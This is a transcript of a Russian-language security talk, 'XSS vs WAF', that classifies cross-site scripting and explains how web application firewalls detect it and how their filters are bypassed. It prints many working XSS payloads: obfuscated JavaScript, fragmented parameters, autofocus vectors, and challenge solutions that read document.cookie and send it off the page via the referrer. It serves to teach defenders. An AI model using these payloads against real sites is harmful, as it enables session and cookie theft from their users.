SlideShare a Scribd company logo
XSS vs WAF
Best practice
• Межсайтовое выполнение сценариев
• Может быть использовано злоумышленником
для получения данных (cookie, DOM, etc),
проведения других атак (CSRF, SPAM).
• Классический пример:
<input type=text
value=“”><script>alert(document.cookie)</script>”>
XSS: Cross Site Scripting
* можно спать
• Reflected (non-persistent) – отраженные. Ответ
сервера содержит данные из запроса.
• Stored (persistent) – хранимые. Ответ сервера
содержит данные, внедренные ранее.
• DOM based – динамические. Страница на
клиентской стороне динамически может быть
изменена данными запроса.
XSS: Международная классификация
* можно спать
• Внедрение тэга:
<input type=text value=><script>alert(1337)</script>
• Внедрение атрибута:
<a href=„http://cmc.msu.su‟ onclick=alert(1337) a=„„>
• Внедрение в активное содержимое
(JavaScript,SWF,PDF):
if (text==„a‟ || alert(1337) || „‟) {
• Внедрение в заголовок HTTP ответа, другое:
Location: javascript:alert(1) - miXSS
XSS: Техническая классификация
* можно спать
• Tyler Reguly, nCircle at 06.04.2010
miXSS: meta information XSS
* можно проснуться
• Требующие действий пользователя:
<a href=„a‟ onmouseover=alert(1337) style=„font-
size:500px„>
• Автономные:
<input type=text value=a onfocus=alert(1337)
AUTOFOCUS>
XSS: Классификация по реализации
* можно спать
• Twitter 21.09.2010:
http://twitter.com/nn#@"onmouseover="alert(1337);"/
• Youtube 04.07.2010:
XSS: latest examples
* можно просыпаться
• Cross Application Scripting
• Множество GUI понимает HTML
From XSS to CAS: все новое – это..
* можно проснуться
http://www.backtrack-linux.org/backtrack/cross-application-
scripting-all-you-kde-are-belong-to-us/
• SMS manager:
tel:/+7123213?call
• Safari:
<iframe src=“skype://+27836712?call”>
• Mail manager:
Пример закрыт до устранения уязвимости
iPhone/iPad CAS prototypes
* надо запомнить
• Блокирует подозрительный запрос
• Исправляет подозрительный запрос
• Блокирует источник подозрительного запроса
• Подозрительный по сигнатурам
– подходит под рег. выражение, типа: «onmouse*».
• Подозрительный по правилам
– запрос без предыстории (сразу на страницу смены
пароля без посещения главной)
WAF: Web Application Firewall
* пора просыпаться
• Простые сигнатуры часто ошибаются:
“ „ < > [ { } ] ( )
• Сложные сигнатуры всегда неполные из-за
разнообразия браузеров и проч.
onmouseover -> onmouseenter
• Данные надо нормализовать перед
сигнатурным анализом
e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert
(1337))
WAF: сложности в реализации
* подъем!
• Есть функционал веб-приложения, где WAF
должен быть отключен (HTML редактор)
• Веб-приложение может быть уязвимо для
фрагментированных атак
http://localhost/t.php?a=<scri&a=pt>&a=alert(1)&a=<
/scri&a=pt>
• Надо встраивать интерпретатор JavaScript:
document[(![]+/./)[5]+(![]+/./)[1]+(![]+/./)[1]+String.from
CharCode(75,73)+(![]+/./)[4]]
WAF: сложности в реализации
* подъем!
• Поиск не фильтруемых данных (_FILES,
URI …)
• Поиск ошибок в нормализации
(uni/*union*/on, u000000028)
• Поиск не фильтруемых сигнатур
• Поиск ошибок логики (XSS threw white list)
• Остальные методы
HOWTO find WAF 0day ;)
* подъем!
• Попробуйте проверить WAF на фильтрацию
JavaScript функции setInterval()
• setInterval – аналог setTimeout, введенный для
совместимости со старыми версиями JavaScript
• Эту функцию почему-то забывают добавлять в
сигнатуры, ограничиваясь только setTimeout
• Таких примеров очень-очень много, посмотрите
хотя бы список событий на
http://msdn.microsoft.com/en-
us/library/ms533051(VS.85).aspx
HOWTO find WAF 0day ;)
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• WAF фильтрует
„ , ", < , > , ( , ) , // в $_GET, $_POST, $_COOKIE, $_FILE
• Внедрения в код
• “<input type='text' name='text' value=„ ”.$_GET[„text‟]. “ „>”
• “<input type='text' name='search„
value=“.$_POST[„search‟].”>”
• “<h3 onmouseover=“.$_GET[„aaa‟].”>”
Проведем эксперимент
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• Решения от oRB [rdot.org]
/t.php?aaa=document.location.href=[document.referrer,docu
ment.cookie]
/t.php?aaa=document.location=[/javascript:1/.source,location
.pathname,location.hash]#/;alert(document.cookie);
• Решение от asddas [rdot.org]
/t.php?aaa=document.location.href=document.forms[0].text.v
alue&text=http:google.com
Проведем эксперимент
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• Решение от Влада Роскова [vos.uz]
/t.php?aaa=document.all[5][window.name]=location.hash#
<input style=width:100%;height:100%;
onmouseover="alert(document.cookie)">
• Самое элегантное решение от Ruben Ventura [thr3w]
/t.php?aaa=location.href=%26quot;javascript:alertu0028/XS
S/.sourceu0029%26quot;
Проведем эксперимент
* подъем!
• WAF обнаруживает злоумышленника
• WAF закрывает какие-то вектора атаки
• WAF – хороший, сделайте его еще лучше!
WAF: так ли все плохо?
* можно снова спать
КОНТАКТЫ:
D0znpp@ONSEC.RU
ВОПРОСЫ ???

More Related Content

PDF
Расширения для Safari: блокировщик контента в 50 строчек кода (Вадим Дробинин)
PDF
«Разработка и оптимизация высоконагруженного проекта»
PDF
Как обезопасить PBN от взлома? Практические рекомендации
PDF
Ihor Bliumental - Collision CORS
PPT
masterhost.ru Выбор хостинг-платформы для размещения сайта
PDF
Ihor Bliumental – Is There Life Outside OWASP Top-10
KEY
Securing Rails Applications
PDF
7 убийц производительности WordPress
Расширения для Safari: блокировщик контента в 50 строчек кода (Вадим Дробинин)
«Разработка и оптимизация высоконагруженного проекта»
Как обезопасить PBN от взлома? Практические рекомендации
Ihor Bliumental - Collision CORS
masterhost.ru Выбор хостинг-платформы для размещения сайта
Ihor Bliumental – Is There Life Outside OWASP Top-10
Securing Rails Applications
7 убийц производительности WordPress

What's hot (20)

PPTX
Высокая доступность web приложений. SHALB.com
PPT
Загрузка, обработка, хранение и отдача статики
PPTX
07 virtual hosts_ru
PPTX
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
PDF
Как не положить тысячи серверов с помощью системы централизованного управлени...
ODP
А.Могильников "Специализированные облака", DUMP-2014
PPT
HSE{Consult}: DevOps – новая методология разработки
PPT
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
PPTX
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
PDF
DevOps или исскуство ухода за Интернет-проектом
KEY
Как сделать сайт быстрее?
PDF
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
PDF
Безопасность Joomla: теория и практика
PDF
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
PPTX
04 web server_deployment_ru
PPT
Битва за миллисекунды: практика ускорения веб сайтов
PPTX
Безопасность вашего сайта Андрей Фуников
PDF
08 - Web-технологии. Архитектура frontend-backend
Высокая доступность web приложений. SHALB.com
Загрузка, обработка, хранение и отдача статики
07 virtual hosts_ru
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Как не положить тысячи серверов с помощью системы централизованного управлени...
А.Могильников "Специализированные облака", DUMP-2014
HSE{Consult}: DevOps – новая методология разработки
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
DevOps или исскуство ухода за Интернет-проектом
Как сделать сайт быстрее?
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
Безопасность Joomla: теория и практика
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
04 web server_deployment_ru
Битва за миллисекунды: практика ускорения веб сайтов
Безопасность вашего сайта Андрей Фуников
08 - Web-технологии. Архитектура frontend-backend
Ad

Viewers also liked (20)

PDF
ONsec browsers security PHD2011
PDF
[ONSEC] PHP unserialize() _SESSION and Dynamics
PPT
Risspa app sec trend micro
PDF
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
PPT
Введение в информационный поиск
PPTX
Тестирование программных фильтров безопасности
PPT
Static Analysis: The Art of Fighting without Fighting
PPTX
InfoWatch Attack Killer решение проблемы всех направленных атак
PDF
Bypassing Web Application Firewalls
PDF
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
PPT
Filter Evasion: Houdini on the Wire
PDF
Bug-hunter's Sorrow
PPTX
Опыт организации тестирования безопасности Web приложений в компании
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
PPTX
Тестирование уязвимостей веб приложений
PDF
いでよ、電卓!
PPTX
Waf bypassing Techniques
PPTX
Что общего у CTF и тестов на проникновение?
PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
PPTX
Алгоритмы пентестов. BaltCTF 2012
ONsec browsers security PHD2011
[ONSEC] PHP unserialize() _SESSION and Dynamics
Risspa app sec trend micro
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Введение в информационный поиск
Тестирование программных фильтров безопасности
Static Analysis: The Art of Fighting without Fighting
InfoWatch Attack Killer решение проблемы всех направленных атак
Bypassing Web Application Firewalls
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
Filter Evasion: Houdini on the Wire
Bug-hunter's Sorrow
Опыт организации тестирования безопасности Web приложений в компании
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Тестирование уязвимостей веб приложений
いでよ、電卓!
Waf bypassing Techniques
Что общего у CTF и тестов на проникновение?
Пост-эксплуатация веб-приложений в тестах на проникновение
Алгоритмы пентестов. BaltCTF 2012
Ad

Similar to [ONSEC ]XSS vs waf (20)

PPTX
Атаки на web-приложения. Основы
KEY
Безопасность веб-приложений: starter edition
PDF
Pt devteev-risspa
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
PDF
11 лекция, петр волков
PPT
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
PPT
Web осень 2012 лекция 10
PPTX
Взломать сайт на ASP.NET
PPT
Node.JS: возможности для РНР-разработчика
PPT
Информационная безопасность и web-приложения
PPT
PT MIFI Labxss
PPT
PT MIFI Labxss
PPT
Web весна 2013 лекция 10
PPT
Webuibasics - Lesson 3 - Nginx, SSI (in russian)
PDF
2013 09 19 кеширование на клиенте и сервере
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
PPTX
Система обработки бизнес-логики server-side приложения на Groovy
PPTX
XSS. Обходы фильтров и защит.
PPTX
Alexei Sintsov - "Between error and vulerability - one step"
Атаки на web-приложения. Основы
Безопасность веб-приложений: starter edition
Pt devteev-risspa
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
11 лекция, петр волков
Waf.js: как защищать веб-приложения с использованием JavaScript
Web осень 2012 лекция 10
Взломать сайт на ASP.NET
Node.JS: возможности для РНР-разработчика
Информационная безопасность и web-приложения
PT MIFI Labxss
PT MIFI Labxss
Web весна 2013 лекция 10
Webuibasics - Lesson 3 - Nginx, SSI (in russian)
2013 09 19 кеширование на клиенте и сервере
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Система обработки бизнес-логики server-side приложения на Groovy
XSS. Обходы фильтров и защит.
Alexei Sintsov - "Between error and vulerability - one step"

[ONSEC ]XSS vs waf

  • 1. XSS vs WAF Best practice
  • 2. • Межсайтовое выполнение сценариев • Может быть использовано злоумышленником для получения данных (cookie, DOM, etc), проведения других атак (CSRF, SPAM). • Классический пример: <input type=text value=“”><script>alert(document.cookie)</script>”> XSS: Cross Site Scripting * можно спать
  • 3. • Reflected (non-persistent) – отраженные. Ответ сервера содержит данные из запроса. • Stored (persistent) – хранимые. Ответ сервера содержит данные, внедренные ранее. • DOM based – динамические. Страница на клиентской стороне динамически может быть изменена данными запроса. XSS: Международная классификация * можно спать
  • 4. • Внедрение тэга: <input type=text value=><script>alert(1337)</script> • Внедрение атрибута: <a href=„http://cmc.msu.su‟ onclick=alert(1337) a=„„> • Внедрение в активное содержимое (JavaScript,SWF,PDF): if (text==„a‟ || alert(1337) || „‟) { • Внедрение в заголовок HTTP ответа, другое: Location: javascript:alert(1) - miXSS XSS: Техническая классификация * можно спать
  • 5. • Tyler Reguly, nCircle at 06.04.2010 miXSS: meta information XSS * можно проснуться
  • 6. • Требующие действий пользователя: <a href=„a‟ onmouseover=alert(1337) style=„font- size:500px„> • Автономные: <input type=text value=a onfocus=alert(1337) AUTOFOCUS> XSS: Классификация по реализации * можно спать
  • 7. • Twitter 21.09.2010: http://twitter.com/nn#@"onmouseover="alert(1337);"/ • Youtube 04.07.2010: XSS: latest examples * можно просыпаться
  • 8. • Cross Application Scripting • Множество GUI понимает HTML From XSS to CAS: все новое – это.. * можно проснуться http://www.backtrack-linux.org/backtrack/cross-application- scripting-all-you-kde-are-belong-to-us/
  • 9. • SMS manager: tel:/+7123213?call • Safari: <iframe src=“skype://+27836712?call”> • Mail manager: Пример закрыт до устранения уязвимости iPhone/iPad CAS prototypes * надо запомнить
  • 10. • Блокирует подозрительный запрос • Исправляет подозрительный запрос • Блокирует источник подозрительного запроса • Подозрительный по сигнатурам – подходит под рег. выражение, типа: «onmouse*». • Подозрительный по правилам – запрос без предыстории (сразу на страницу смены пароля без посещения главной) WAF: Web Application Firewall * пора просыпаться
  • 11. • Простые сигнатуры часто ошибаются: “ „ < > [ { } ] ( ) • Сложные сигнатуры всегда неполные из-за разнообразия браузеров и проч. onmouseover -> onmouseenter • Данные надо нормализовать перед сигнатурным анализом e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert (1337)) WAF: сложности в реализации * подъем!
  • 12. • Есть функционал веб-приложения, где WAF должен быть отключен (HTML редактор) • Веб-приложение может быть уязвимо для фрагментированных атак http://localhost/t.php?a=<scri&a=pt>&a=alert(1)&a=< /scri&a=pt> • Надо встраивать интерпретатор JavaScript: document[(![]+/./)[5]+(![]+/./)[1]+(![]+/./)[1]+String.from CharCode(75,73)+(![]+/./)[4]] WAF: сложности в реализации * подъем!
  • 13. • Поиск не фильтруемых данных (_FILES, URI …) • Поиск ошибок в нормализации (uni/*union*/on, u000000028) • Поиск не фильтруемых сигнатур • Поиск ошибок логики (XSS threw white list) • Остальные методы HOWTO find WAF 0day ;) * подъем!
  • 14. • Попробуйте проверить WAF на фильтрацию JavaScript функции setInterval() • setInterval – аналог setTimeout, введенный для совместимости со старыми версиями JavaScript • Эту функцию почему-то забывают добавлять в сигнатуры, ограничиваясь только setTimeout • Таких примеров очень-очень много, посмотрите хотя бы список событий на http://msdn.microsoft.com/en- us/library/ms533051(VS.85).aspx HOWTO find WAF 0day ;) * подъем!
  • 15. • Opened XSS challenge at http://onsec.ru/t.php • WAF фильтрует „ , ", < , > , ( , ) , // в $_GET, $_POST, $_COOKIE, $_FILE • Внедрения в код • “<input type='text' name='text' value=„ ”.$_GET[„text‟]. “ „>” • “<input type='text' name='search„ value=“.$_POST[„search‟].”>” • “<h3 onmouseover=“.$_GET[„aaa‟].”>” Проведем эксперимент * подъем!
  • 16. • Opened XSS challenge at http://onsec.ru/t.php • Решения от oRB [rdot.org] /t.php?aaa=document.location.href=[document.referrer,docu ment.cookie] /t.php?aaa=document.location=[/javascript:1/.source,location .pathname,location.hash]#/;alert(document.cookie); • Решение от asddas [rdot.org] /t.php?aaa=document.location.href=document.forms[0].text.v alue&text=http:google.com Проведем эксперимент * подъем!
  • 17. • Opened XSS challenge at http://onsec.ru/t.php • Решение от Влада Роскова [vos.uz] /t.php?aaa=document.all[5][window.name]=location.hash# <input style=width:100%;height:100%; onmouseover="alert(document.cookie)"> • Самое элегантное решение от Ruben Ventura [thr3w] /t.php?aaa=location.href=%26quot;javascript:alertu0028/XS S/.sourceu0029%26quot; Проведем эксперимент * подъем!
  • 18. • WAF обнаруживает злоумышленника • WAF закрывает какие-то вектора атаки • WAF – хороший, сделайте его еще лучше! WAF: так ли все плохо? * можно снова спать